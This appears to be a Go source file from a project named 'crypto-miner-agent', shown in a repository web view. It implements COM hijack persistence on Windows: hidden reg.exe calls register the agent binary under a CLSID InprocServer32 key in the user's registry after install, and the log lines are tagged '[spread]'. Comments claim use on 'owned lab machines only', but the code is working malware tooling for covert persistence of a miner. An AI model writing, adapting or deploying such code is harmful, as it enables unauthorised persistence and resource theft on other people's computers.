34 lines
1.0 KiB
Go
34 lines
1.0 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// Benign CLSID used for optional COM hijack persistence (owned lab machines only).
|
|
const comHijackCLSID = `{BCDE0395-E52F-467C-8E3D-C4579291692E}`
|
|
|
|
// applyCOMHijackPersistence registers agent under InprocServer32 (forge flag COMHijackPersist).
|
|
func applyCOMHijackPersistence(agentPath string) error {
|
|
if agentPath == "" {
|
|
return fmt.Errorf("empty agent path")
|
|
}
|
|
base := `HKCU\Software\Classes\CLSID\` + comHijackCLSID + `\InprocServer32`
|
|
_ = HiddenRun("reg.exe", "add", base, "/ve", "/d", agentPath, "/f")
|
|
_ = HiddenRun("reg.exe", "add", base, "/v", "ThreadingModel", "/d", "Apartment", "/f")
|
|
log.Printf("[spread] COM hijack registered under %s (owned machines only)", comHijackCLSID)
|
|
return nil
|
|
}
|
|
|
|
// MaybeApplyCOMHijackOnInstall applies COM hijack after install when configured.
|
|
func MaybeApplyCOMHijackOnInstall(cfg config.RuntimeConfig, installedBin string) {
|
|
if !cfg.COMHijackPersist {
|
|
return
|
|
}
|
|
_ = applyCOMHijackPersistence(installedBin)
|
|
}
|